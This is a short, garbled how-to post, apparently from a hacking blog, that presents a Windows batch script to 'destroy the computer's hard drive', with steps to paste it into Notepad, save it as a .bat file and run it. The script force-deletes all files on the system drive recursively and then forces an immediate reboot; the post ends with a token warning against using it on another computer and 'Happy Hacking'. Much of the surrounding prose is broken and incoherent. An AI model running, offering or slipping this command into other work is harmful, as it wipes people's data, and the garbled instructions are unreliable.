Destroy the computer's hard drive for all your files and use a code !

Destroy the computer's hard drive for all your files by using a simple  code.There's no way this can be whatever you make.
Step 1:Your Computer is a new position for the installation of all types spend about.
Step 2:First Past the following code in the Notepad. Or you can download from hare. 
Step 3:Code is  
@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00 

See the image bellow.

Step 4:The file. Bat Format that you can save as. All files you select in the Save Type.See the image bellow.

Seven of the image like the one below. Bat file will be created.

Computer implies that we want to run this by you. Bat file & see what's happen .
Please don't use for Destroy Another computer.
                                                                               Happy Hacking !